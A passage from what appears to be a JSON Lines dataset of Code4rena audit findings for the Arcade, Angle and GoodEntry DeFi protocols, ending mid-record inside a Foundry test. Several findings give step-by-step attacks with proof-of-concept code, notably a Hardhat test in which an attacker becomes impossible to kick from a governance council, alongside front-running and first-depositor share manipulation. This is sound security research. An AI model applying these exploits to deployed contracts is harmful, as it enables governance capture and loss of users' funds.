(targets.length != calldatas.length) revert T_ArrayLengthMismatch();\n // execute a package of low level calls\n for (uint256 i = 0; i < targets.length; ++i) {\n // if the call is a transfer and threshold has been set, check that the amount is less than the threshold\n if (bytes4(calldatas[i][:4]) == 0xa9059cbb && spendThresholds[targets[i]].large != 0) {\n uint256 amount = abi.decode(calldatas[i][4:], (uint256));\n if (amount > spendThresholds[targets[i]].large) revert T_InvalidTarget(targets[i]);\n }\n // only allow call to whitelisted address\n if (!whitelistedTarget[targets[i]]) revert T_InvalidTarget(targets[i]);\n (bool success,) = targets[i].call(calldatas[i]);\n // revert if a single call fails\n if (!success) revert T_CallFailed();\n }\n }\n```\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/419"}} +{"title":"If someone becomes GSC member, he may become unkickable forever","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/BaseVotingVault.sol#L96-L102\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/external/council/vaults/GSCVault.sol#L123\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/external/council/libraries/History.sol#L198-L199\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/ArcadeGSCVault.sol#L25\n\n\n# Vulnerability details\n\n*Note: some of the contracts mentioned are out of scope, but the vulnerability exists in the `BaseVotingVault`, which is in-scope, so I argue that the finding is in scope.*\n\nIn Arcade ecosystem, there is a GSC group which has some extra privileges like spending some token amount from treasury or creating new proposals in core voting contract.\n\nIn order to become a member of this group, user has to have high enough voting power (combined from several voting vaults) and call `proveMembership`. When user's voting power drops beneath a certain threshold, he may be kicked out of the GSC.\n\n`proveMembership` contains the following code:\n```solidity\nfor (uint256 i = 0; i < votingVaults.length; i++) {\n // Call the vault to check last block's voting power\n // Last block to ensure there's no flash loan or other\n // intra contract interaction\n uint256 votes =\n IVotingVault(votingVaults[i]).queryVotePower(\n msg.sender,\n block.number - 1,\n extraData[i]\n );\n // Add up the votes\n totalVotes += votes;\n }\n```\nSo, it basically iterates over all voting vaults that a user specifies, sums up his voting power, and if it's enough, it grants that user a place in GSC.\n\nIn order to kick user out from the GSC, the `kick` function may be used and it will iterate over all vaults that were supplied by a user when he called `proveMembership` and if his voting power dropped beneath the threshold, he will be removed from the GSC. `kick` contains the following code:\n```solidity\n for (uint256 i = 0; i < votingVaults.length; i++) {\n // If the vault is not approved we don't count its votes now\n if (coreVoting.approvedVaults(votingVaults[i])) {\n // Call the vault to check last block's voting power\n // Last block to ensure there's no flash loan or other\n // intra contract interaction\n uint256 votes =\n IVotingVault(votingVaults[i]).queryVotePower(\n who,\n block.number - 1,\n extraData[i]\n );\n // Add up the votes\n totalVotes += votes;\n }\n }\n```\nAs we see, `queryVotePower` will be called again on each vault. Let's see how `queryVotePower` is implemented in `BaseVotingVault` which is used as a base contract for some voting contracts:\n```solidity\n function queryVotePower(address user, uint256 blockNumber, bytes calldata) external override returns (uint256) {\n // Get our reference to historical data\n History.HistoricalBalances memory votingPower = _votingPower();\n\n\n // Find the historical data and clear everything more than 'staleBlockLag' into the past\n return votingPower.findAndClear(user, blockNumber, block.number - staleBlockLag);\n }\n```\nAs we see, it will always call the `findAndClear` function that will return the most recent voting power and will attempt to erase some older entries. New entries are added for a user when his voting power changes and no more than `1` entry is added each block (if several changes happen in one block, values are just updated).\n\nNow, attacker (Bob) may perform the following attack:\n1. He acquires enough votes to become GSC member (he can either just buy enough tokens or deploy a smart contract that will offer high yield for users who stake their vault tokens there).\n2. He calls `proveMembership` and specifies `NFTBoostVault` as a proof. He will be accepted.\n3. He \"poisons\" his voting power history by delegating from and redelegating to himself some dust token amount in several thousand different blocks (possible to do in less than `12h` on Ethereum).\n4. He withdraws all his tokens from `NFTBoostVault`.\n5. Alice spots that Bob doesn't have enough voting power anymore and will attempt to kick him, but since `findAndClear` will try to erase several thousand entries, it will exceed Ethereum block limit for gas and the transaction will revert with Out Of Gas exception (`kick` will iterate over all vaults supplied by Bob, so Alice is forced to call `queryVotePower` on the vault that Bob used for the attack).\n6. Bob can now send tokens to his another account, repeat the attack and he can do this until he has `>50%` in the GSC.\n\nSimilar exploit was presented by me in a different submission, but this one is different, since the previous one focused on different aspect of that DoS attack - changing voting outcome. Here, I'm showing how somebody can permanently become a GSC member.\n\nAs reported in that different submission, the cost of performing the attack once is `~14ETH`, so it's not that much (currently `14ETH = $1880 * 14 = $26320`), but it may be worth it to perform this attack in order to be able to get `>50%` of GSC. \n\n## Impact\nAttacker is able to become a permanent GSC member, even if he doesn't stake any tokens, which shouldn't be allowed and already has a huge impact on the protocol.\n\nEven worse, he may try to acquire `> 50%` of voting power (GSC shouldn't have too many members - probably about `10` or something like this). Still, the GSC owner has `100000` votes, but it is a timelock contract, so might not be able to react fast enough to veto malicious proposals and even if it is, this attack will destroy the entire GSC (since, from now on, the owner will decide about everything making GSC members useless), which is an important concept in the Arcade protocol.\n\nHence, the impact is huge (and assets can be lost, since GSC is able to spend some tokens from the treasury) and there aren't any external factors allowed. So, I'm submitting this issue as High.\n\n## Proof of Concept\nSeveral modifications are necessary in order to run the test - they are only introduced to make testing easier and don't have anything in common with the attack itself. First of all, please change `Authorizable::setOwner` as follows:\n```solidity\n function setOwner(address who) public /*onlyOwner()*/ {\n```\nThen, please change `NFTBoostVault` so that withdrawals are possible:\n```solidity\nconstructor(\n IERC20 token,\n uint256 staleBlockLag,\n address timelock,\n address manager\n ) BaseVotingVault(token, staleBlockLag) {\n if (timelock == address(0)) revert NBV_ZeroAddress(\"timelock\");\n if (manager == address(0)) revert NBV_ZeroAddress(\"manager\");\n\n Storage.set(Storage.uint256Ptr(\"initialized\"), 1);\n Storage.set(Storage.addressPtr(\"timelock\"), timelock);\n Storage.set(Storage.addressPtr(\"manager\"), manager);\n Storage.set(Storage.uint256Ptr(\"entered\"), 1);\n Storage.set(Storage.uint256Ptr(\"locked\"), 0); // line changed\n }\n```\nThen, please add a basic `ERC20` token implementation to a `TestERC20.sol` file in the `contracts/test` directory (it's only used to mint some tokens to the users):\n```solidity\n// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.18;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract TestERC20 is ERC20 \n{\n constructor() ERC20(\"TestERC20\", \"TERC20\") {\n \n }\n\n function mint(address to, uint256 amount) external {\n _mint(to, amount);\n }\n}\n```\n\nFinally, please put the following test inside `ArcadeGscVault.ts` (`import { mine } from \"@nomicfoundation/hardhat-network-helpers\";` will have to be also inserted there):\n```\ndescribe(\"Unkickable from GSC vault\", async () => {\n it(\"Unkickable from GSC vault\", async () => {\n const { coreVoting, arcadeGSCVault } = ctxGovernance;\n const signers = await ethers.getSigners();\n const owner = signers[0];\n const Alice = signers[1];\n const Bob = signers[2];\n\n // balance of each user in TestERC20 custom token\n const ALICES_BALANCE = ethers.utils.parseEther(\"1000000000\");\n const BOBS_BALANCE = ethers.utils.parseEther(\"100\"); // enough to join GSC\n\n const TestERC20Factory = await ethers.getContractFactory(\"TestERC20\");\n const TestERC20 = await TestERC20Factory.deploy();\n\n // mine some block in the future to resemble mainnet state\n await mine(1_000_000);\n\n // deploy NFTBoostVault with custom token (TestERC20) - we only need this token to provide some\n // balance to users so that they can stake their tokens in the vault\n const NFTBoostVaultFactory = await ethers.getContractFactory(\"NFTBoostVault\");\n const NFTBoostVault = await NFTBoostVaultFactory.deploy(TestERC20.address, 10, owner.address, owner.address);\n\n // set owner just to be able to call `changeVaultStatus`, so that testing is easier\n await coreVoting.connect(owner).setOwner(owner.address);\n await coreVoting.connect(owner).changeVaultStatus(NFTBoostVault.address, true);\n\n // mint TestERC20 to users so that they can stake them\n await TestERC20.connect(Alice).mint(Alice.address, ALICES_BALANCE);\n await TestERC20.connect(Bob).mint(Bob.address, BOBS_BALANCE);\n\n // everyone approves TestERC20, so that they can stake\n await TestERC20.connect(Alice).approve(NFTBoostVault.address, ALICES_BALANCE);\n await TestERC20.connect(Bob).approve(NFTBoostVault.address, BOBS_BALANCE);\n\n // Alice and Bob add some tokens and delegate\n await NFTBoostVault.connect(Alice).delegate(Alice.address);\n await NFTBoostVault.connect(Alice).addTokens(ALICES_BALANCE);\n \n await NFTBoostVault.connect(Bob).delegate(Bob.address);\n await NFTBoostVault.connect(Bob).addTokens(BOBS_BALANCE);\n \n // Alice becomes GSC member since she has enough voting power\n expect(await arcadeGSCVault.members(Alice.address)).to.eq(0);\n await arcadeGSCVault.connect(Alice).proveMembership([NFTBoostVault.address], [\"0x\"]);\n expect(await arcadeGSCVault.members(Alice.address)).not.to.eq(0);\n\n // Bob also becomes GSC member, but when he unstakes his tokens, Alice can kick him out\n await arcadeGSCVault.connect(Bob).proveMembership([NFTBoostVault.address], [\"0x\"]);\n expect(await arcadeGSCVault.members(Bob.address)).not.to.eq(0);\n\n await NFTBoostVault.connect(Bob).withdraw(BOBS_BALANCE);\n await arcadeGSCVault.connect(Alice).kick(Bob.address, [\"0x\"]);\n expect(await arcadeGSCVault.members(Bob.address)).to.eq(0);\n // kicking out Bob succeeds\n\n // Bob adds tokens again and becomes GSC member, but this time performs the attack\n await TestERC20.connect(Bob).approve(NFTBoostVault.address, BOBS_BALANCE);\n await NFTBoostVault.connect(Bob).delegate(Bob.address);\n await NFTBoostVault.connect(Bob).addTokens(BOBS_BALANCE);\n await arcadeGSCVault.connect(Bob).proveMembership([NFTBoostVault.address], [\"0x\"]);\n\n // attack\n // Bob performs it on himself\n var gasUsed = 0;\n for (var i = 0; i < 3500; i++)\n {\n const tx1 = await NFTBoostVault.connect(Bob).delegate(Alice.address); // needed since it's \n // impossible to change current delegatee to the same address\n const tx2 = await NFTBoostVault.connect(Bob).delegate(Bob.address);\n const r1 = await tx1.wait();\n const r2 = await tx2.wait();\n gasUsed += r1.cumulativeGasUsed.toNumber();\n gasUsed += r2.cumulativeGasUsed.toNumber();\n }\n console.log(`Gas used by the attacker: ${gasUsed}`);\n\n // Bob withdraws his tokens\n await NFTBoostVault.connect(Bob).withdraw(BOBS_BALANCE);\n \n // Alice cannot kick out Bob\n await expect(arcadeGSCVault.connect(Alice).kick(Bob.address, [\"0x\"])).to.be.reverted;\n\n // Bob is still GSC member; he can now transfer all his tokens to another account and perform\n // the attack again until he controls > 50% of GSC\n expect(await arcadeGSCVault.members(Bob.address)).not.to.eq(0);\n\n }).timeout(400000);\n });\n```\n\n## Tools Used\nVS Code, hardhat\n\n## Recommended Mitigation Steps\nChange `BaseVotingVault::queryVotePower` implementation so that it calls `find` instead of `findAndClear` (as in the `queryVotePowerView`).\n\n\n## Assessed type\n\nDoS","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/412"}} +{"title":"Treasury spending may be halted unexpectedly or may allow excessive spendings","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L360-L362\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L27-L29\n\n\n# Vulnerability details\n\n## Impact\n`ArcadeTreasury` has a mechanism to avoid spending too many tokens in a single block.\n\nThis has the assumption that every token will use 18 decimals, but if this is not the case, there will be excessive spending or the contract may revert unexpectedly, based on the decimals amount of the token that is going to be used.\n\n## Proof of Concept\nThe `ArcadeTreasury` is meant to be used as a vault for different tokens:\n\n```solidity\n * This contract is used to hold funds for the Arcade treasury. Each token held by this\n * contract has three thresholds associated with it: (1) large amount, (2) medium amount,\n * and (3) small amount.\n```\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L27-L29\n\nCore voting roles are able to choose the address of a token that they want to spend, based on their allowance.\n\nThere is a `blockExpenditure` check to ensure that there isn't any excessive spending in a single block:\n\n```solidity\nuint256 spentThisBlock = blockExpenditure[block.number];\nif (amount + spentThisBlock > limit) revert T_BlockSpendLimit(); \n blockExpenditure[block.number] = amount + spentThisBlock;\n```\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L360-L362\n\nThe spending threshold is set on a token basis, so it's different for each token. However, the expenditure sum is shared between all tokens without normalizing the amount. \n\nThis means that if any spender wants to extract tokens that don't have 18 decimals (e.g. USDC has 6 decimals) from the treasury, and someone else already called `spend` with other tokens that have a higher number of decimals, then the previous check will revert most of the time.\n\nThis is because the spending `limit` will have a 6 decimals precision in the case of USDC, but the `spentThisBlock` is a sum of amounts with a different precision, based on which token was used.\n\nA similar but opposite scenario can happen with tokens that have more than 18 decimals, so it will be possible to spend more than intended.\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nConsider one of the following:\n\n- Normalize all the spending amounts to 18 decimals, so the sum uses the same precision across tokens\n- Use a `blockExpenditure` for each token, instead of using a global sum\n\n\n## Assessed type\n\nERC20","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/401"}} +{"title":"Proposals can be executed with a single yes vote","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeGSCCoreVoting.sol#L32\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L289-L293\n\n\n# Vulnerability details\n\n## Impact\nAnyone can execute a proposal in `ArcadeGSCCoreVoting` as long that \"yes\" votes are higher than \"no\" votes, potentially resulting in a single \"yes\" vote being able to execute a proposal. \n\n## Proof of Concept\nIn `ArcadeGSCCoreVoting`, it's possible to vote for a proposal, the valid options are: \"yes\", \"no\", and \"maybe\".\n\nAs a requirement, it's necessary to reach a quorum (i.e. a minimum number of total votes), and \"yes\" votes must be higher than \"no\" votes, before being able to execute a proposal:\n\n```solidity\n// if there are enough votes to meet quorum and there are more yes votes than no votes\n// then the proposal is executed\nbool passesQuorum =\n results[0] + results[1] + results[2] >=\n proposals[proposalId].quorum;\nbool majorityInFavor = results[0] > results[1];\nrequire(passesQuorum && majorityInFavor, \"Cannot execute\");\n```\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/external/council/CoreVoting.sol#L289-L293\n\nThe `majorityInFavor` totally ignores the `maybe` votes, which can still be used to reach a quorum.\n\nConsider the following scenario, where a proposal has a quorum of 100 votes: it might receive 99 \"maybe\", 1 \"yes\", and 0 \"no\" votes: this is considered valid, and the proposal will be executed.\n\n## Tools Used\nManual review\n\n## Recommended Mitigation Steps\nConsider requiring a minimum number of \"yes\" votes before being able to execute the proposal after the quorum is reached.\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/393"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/0xComfyCat-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/389"}} +{"title":"MerkleProof will not work with multiple leaves associated with the same `user/tokenId`","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/nft/ReputationBadge.sol#L111-L113\n\n\n# Vulnerability details\n\n## Impact\nMinting will not work correctly when the associated Merkle Tree has multiple leaves with the same `user/tokenId`.\n\nA use case of why Arcade.xyz might decide to use multiple leaves for the same `user/tokenId` is described in the mitigation of issue #386.\n\n## Proof of Concept\nConsider the scenario where the root of a Merkle tree that contains two leaves for Bob, one for 15 tokens and another for 10 tokens.\n\nIn theory, the intent is that Bob should be able to claim a grand total of 25 tokens, but with the current implementation this is not possible.\n\nSuppose that Bob has claimed the first 15 tokens from the first leaf. When he tries to claim the remaining 10 tokens, the following line will revert, as `totalClaimable` is now 10, but the `amountClaimed` is 15:\n\n```solidity\nif (amountClaimed[recipient][tokenId] + amount > totalClaimable) {\n revert RB_InvalidClaimAmount(amount, totalClaimable);\n}\n```\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nConsider changing the verification logic so it's possible to associate multiple leaves with the same user. \n\nIf this feature is not necessary (for example if it's always possible to mint the `totalClaimable` in a single transaction), consider documenting it accordingly to avoid potential overrides.\n\n\n## Assessed type\n\nInvalid Validation","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/388"}} +{"title":"MerkleProof might be reused to DoS users when they mint a badge","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/nft/ReputationBadge.sol#L111-L113\n\n\n# Vulnerability details\n\n## Impact\nUsers can be subject to DoS when they mint a `ReputationBadge`, which can result in the partial loss of some token amount, as they have an expiration date.\n\n## Proof of Concept\nWhen minting a badge, the user provides a MerkleProof to validate their ownership, and they also provide an amount, which must be lower or equal to the `totalClaimable` expressed in the leaf.\n\nThis might be a problem, especially when users expect to execute a transaction with `amount = totalClaimable`, as malicious users may decide to DoS it.\n\nImagine the following scenario:\n\n1. Bob is a non-technical user and wants to mint his badge. In his proof `totalClaimable = 50`, and he tries to execute a transaction where `amount = 50`\n2. Alice wants to DoS Bob, she sees his transaction and front runs it with the same parameters, but with `amount = 1`\n3. Effectively, Alice is claiming a single badge for Bob, but Bob's transaction will fail as he tries to claim `50` badges, but the max is now `49`.\n```solidity\nif (amountClaimed[recipient][tokenId] + amount > totalClaimable) {\n revert RB_InvalidClaimAmount(amount, totalClaimable);\n}\n```\n4. Bob can eventually claim all badges, but he must do it with multiple transactions. It's worth noting that he may lose a substantial amount of badges if he gets slowed enough by the attacker, especially if he tries to claim near the expiration date.\n\nThis attack does not make sense from a financial perspective, as the attacker gets nothing in return, but it can be used to tarnish Arcade.xyz's reputation by a competitor, as they only have to pay the gas fees for this claim.\n\n## Tools Used\nManual Review\n\n## Recommended Mitigation Steps\nDepending on the maximum size, consider removing the `amount` parameter if it's still possible to mint the `totalClaimable` in a single transaction.\n\nOtherwise, consider refactoring the minting logic to have multiple leaves in the Merkle Tree with a different amount for the same user, where every single leaf can be fully claimed in a single transaction.\n\n\n## Assessed type\n\nDoS","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/386"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-arcade-findings/blob/main/data/squeaky_cactus-Q.md).","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/352"}} {"title":"M-07 Unmitigated","severity":"medium","body":"# Lines of code\n\nhttps://github.com/AngleProtocol/angle-transmuter/blob/3e43e29d2b2f0b75876396e7c65e48c00c5fd1b2/contracts/transmuter/facets/Redeemer.sol#L119\n\n\n# Vulnerability details\n\n## Original Issue\nhttps://github.com/code-423n4/2023-06-angle-findings/issues/8\n\n## Details\nThis issue shows users may get fewer tokens than expected when the collateral list order changes.\n\nAs mitigation, it recommends checking the length of `minAmountsOut` and `ts.collateralList` as well as the token addresses to resolve the problem completely.\n\nThe original submission recommends like the below.\n\n```\nThe problem could be alleviated a bit by checking the length of minAmountsOut (making sure it is not longer than ts.collateralList). \nHowever, that would not help if a collateral is revoked and a new one is added. \nAnother solution would be to provide pairs of token addresses and amounts, which would solve the problem completely.\n```\n\n## Mitigation\nPR: https://github.com/AngleProtocol/angle-transmuter/commit/f8d0bf7c4009586f7022d5929359041db3990175\n\nIt validates the length of `minAmountsOut` and `ts.collateralList` but doesn't compare the token addresses.\n\nAs a result, the original problem still exists when a collateral is revoked and a new one is added.\n\n## Recommended Mitigation\nWe should check the token addresses of `minAmountsOut` and `ts.collateralList` to resolve the original issue completely.\n\n## Conclusion\nThis issue wasn't mitigated properly.\n\n\n## Assessed type\n\nInvalid Validation","dataSource":{"name":"code-423n4/2023-07-angle-mitigation-findings","repo":"https://github.com/code-423n4/2023-07-angle-mitigation-findings","url":"https://github.com/code-423n4/2023-07-angle-mitigation-findings/issues/30"}} {"title":"M-06 Unmitigated","severity":"medium","body":"# Lines of code\n\nhttps://github.com/AngleProtocol/angle-transmuter/blob/3e43e29d2b2f0b75876396e7c65e48c00c5fd1b2/contracts/savings/SavingsVest.sol#L212\n\n\n# Vulnerability details\n\n## Original Issue\nhttps://github.com/code-423n4/2023-06-angle-findings/issues/13\n\n## Details\nThis issue shows users may lose a portion of yield when `protocolSafetyFee` and `vestingPeriod` are changed.\n\nAs mitigation, it recommends accruing interests before those parameters are changed. \n\n## Mitigation\nPR: https://github.com/AngleProtocol/angle-transmuter/commit/94c4e51ae3400a63532e85f04f4081152adc97db\n\nIt calls `accrue()` method when `protocolSafetyFee` and `vestingPeriod` are changed in `setParams()`.\n\nWhen `vestingPeriod` is changed, `vestingProfit` and `lastUpdate` should always be updated for correct vesting amount calculation. But in the current implementation of `accrue()`, `vestingProfit` and `lastUpdate` are updated only when the collateral ratio is changed more than 0.1 percent. So if the collateral ratio is nearly the same, `vestingProfit` and `lastUpdate` are not updated in the `accrue()` method, and this will affect the vesting amount.\n\n## Recommended Mitigation\n`vestingProfit` and `lastUpdate` should always be updated when `vestingPeriod` is changed.\n\n## Conclusion\nThis issue wasn't mitigated properly.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-07-angle-mitigation-findings","repo":"https://github.com/code-423n4/2023-07-angle-mitigation-findings","url":"https://github.com/code-423n4/2023-07-angle-mitigation-findings/issues/29"}} {"title":"M-07 Unmitigated","severity":"medium","body":"# Lines of code\n\n\n\n\n# Vulnerability details\n\nThe fix addresses the scenarios when collaterals are removed between the crafting of the `minAmountsOut` list and the submission of the transaction. Then, we will have `amounts.length > minAmountOuts.length`, meaning that the following line causes a revert:\n```solidity\n if (amountsLength != minAmountOuts.length) revert InvalidLengths();\n```\n\nHowever, as mentioned in the issue, only checking the length does not mitigate the issue fully. If one collateral is removed and another one added, it still exists. For instance, we could have:\n- Initial collateral list [A, B, C, D]. This is used by the user to craft `minAmountOuts`\n- Then, collateral A is removed, resulting in [D, B, C].\n- Then, a new collateral Z is added, resulting in [D, B, C, Z].\n\nWe have `amountsLength == minAmountOuts.length`, therefore the transaction does not revert. However, the `minAmount` that the user passed in for A is now applied to the redemption of D.\n\nTo be fair, this scenario is extremely unlikely, but I would still say that the issue is technically not fixed completely.","dataSource":{"name":"code-423n4/2023-07-angle-mitigation-findings","repo":"https://github.com/code-423n4/2023-07-angle-mitigation-findings","url":"https://github.com/code-423n4/2023-07-angle-mitigation-findings/issues/5"}} @@ -10238,6 +10489,36 @@ {"title":"First depositor can break minting of liquidity shares in GeVault","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L271-L278\nhttps://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L420-L424\n\n\n# Vulnerability details\n\n## Impact\nIn [GeVault](https://github.com/code-423n4/2023-08-goodentry/blob/main/contracts/GeVault.sol), while depositing tokens in the pool, liquidity tokens are minted to the users.\n\nCalculation of liquidity tokens to mint uses `balanceOf(address(this))` which makes it susceptible to first deposit share price manipulation attack.\n\n`deposit` calls `getTVL`, which calls `getTickBalance`\n\n\n[GeVault.deposit#L271-L278](https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L271-L278)\n```\n uint vaultValueX8 = getTVL();\n uint tSupply = totalSupply();\n // initial liquidity at 1e18 token ~ $1\n if (tSupply == 0 || vaultValueX8 == 0)\n liquidity = valueX8 * 1e10;\n else {\n liquidity = tSupply * valueX8 / vaultValueX8;\n }\n```\n[GeVault.getTVL#L392-L398](https://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/GeVault.sol#L392-L398)\n```\n function getTVL() public view returns (uint valueX8){\n for(uint k=0; k 0, \"GEV: No Liquidity Added\");\n```\n## Tools Used\nManual Review\n## Recommended Mitigation Steps\n- Burn some MINIMUM_LIQUIDITY during first deposit\n\n\n## Assessed type\n\nMath","dataSource":{"name":"code-423n4/2023-08-goodentry-findings","repo":"https://github.com/code-423n4/2023-08-goodentry-findings","url":"https://github.com/code-423n4/2023-08-goodentry-findings/issues/367"}} {"title":"addDust does not achieve the goal correctly and may overflow revert","severity":"medium","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-08-goodentry/blob/71c0c0eca8af957202ccdbf5ce2f2a514ffe2e24/contracts/PositionManager/OptionsPositionManager.sol#L544-L551\n\n\n# Vulnerability details\n\n## Impact\n\nThe purpose of addDust is to ensure that both the token0Amount and token1Amount are greater than 100 units.\nThe current implementation is to calculate the value of 100 units 1e18 scales of token0 and token1, take the maximum value as liquidity, and add to the repayAmount.\nThe calculation does not take into account the actual getTokenAmounts result:\n1. The calculated dust amount is based on the oracle price, while the actual amount consumed is based on the lp tick price\n2. Even if the price of lp tick is equal to the spot price, which can't guarantee that the token0Amount and token1Amount of getTokenAmounts will be greater than 100 units.\n\n## Proof of Concept\n\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../contracts/lib/LiquidityAmounts.sol\";\nimport \"../contracts/lib/TickMath.sol\";\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV3Pool{\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n \n function token0() external view returns (address);\n function token1() external view returns (address);\n function tickSpacing() external view returns (int24);\n}\n\ncontract TestDust is Test {\n IUniswapV3Pool constant uniswapPool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\n address constant token0 = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\n address constant token1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n uint256 constant token0Price = 1e8;\n uint256 constant token1Price = 1830e8;\n\n function setUp() public {\n vm.createSelectFork(\"https://rpc.ankr.com/eth\", 17863266);\n }\n\n function testDustPrice() public {\n (uint token0Amount, uint token1Amount) = getTokenAmountsExcludingFees(getDust());\n console.log(token0Amount, token1Amount);\n }\n\n function getTokenAmountsExcludingFees(uint amount) public view returns (uint token0Amount, uint token1Amount){\n (uint160 sqrtPriceX96, int24 tick,,,,,) = IUniswapV3Pool(uniswapPool).slot0();\n int24 tickSpacing = IUniswapV3Pool(uniswapPool).tickSpacing();\n (token0Amount, token1Amount) = LiquidityAmounts.getAmountsForLiquidity(sqrtPriceX96, TickMath.getSqrtRatioAtTick(tick), TickMath.getSqrtRatioAtTick(tick + tickSpacing), uint128(amount));\n }\n\n function getDust() internal view returns (uint amount){\n uint scale0 = 10**(20 - IERC20(token0).decimals()) * token0Price / 1e8;\n uint scale1 = 10**(20 - IERC20(token1).decimals()) * token1Price / 1e8;\n\n if (scale0 > scale1) amount = scale0;\n else amount = scale1;\n }\n}\n```\nFor DAI/ETH pool, the token0Amount and token1Amount are 23278 and 0, dust value is close to 0, doesn't seem work.\n\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../contracts/lib/LiquidityAmounts.sol\";\nimport \"../contracts/lib/TickMath.sol\";\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV3Pool{\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n \n function token0() external view returns (address);\n function token1() external view returns (address);\n function tickSpacing() external view returns (int24);\n}\n\ncontract TestDust is Test {\n IUniswapV3Pool constant uniswapPool = IUniswapV3Pool(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);\n address constant token0 = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\n address constant token1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n uint256 constant token0Price = 29000e8;\n uint256 constant token1Price = 1830e8;\n\n function setUp() public {\n vm.createSelectFork(\"https://rpc.ankr.com/eth\", 17863266);\n }\n\n function testDustPrice() public {\n (uint token0Amount, uint token1Amount) = getTokenAmountsExcludingFees(getDust());\n }\n\n function getTokenAmountsExcludingFees(uint amount) public view returns (uint token0Amount, uint token1Amount){\n (uint160 sqrtPriceX96, int24 tick,,,,,) = IUniswapV3Pool(uniswapPool).slot0();\n int24 tickSpacing = IUniswapV3Pool(uniswapPool).tickSpacing();\n (token0Amount, token1Amount) = LiquidityAmounts.getAmountsForLiquidity(sqrtPriceX96, TickMath.getSqrtRatioAtTick(tick), TickMath.getSqrtRatioAtTick(tick + tickSpacing), uint128(amount));\n 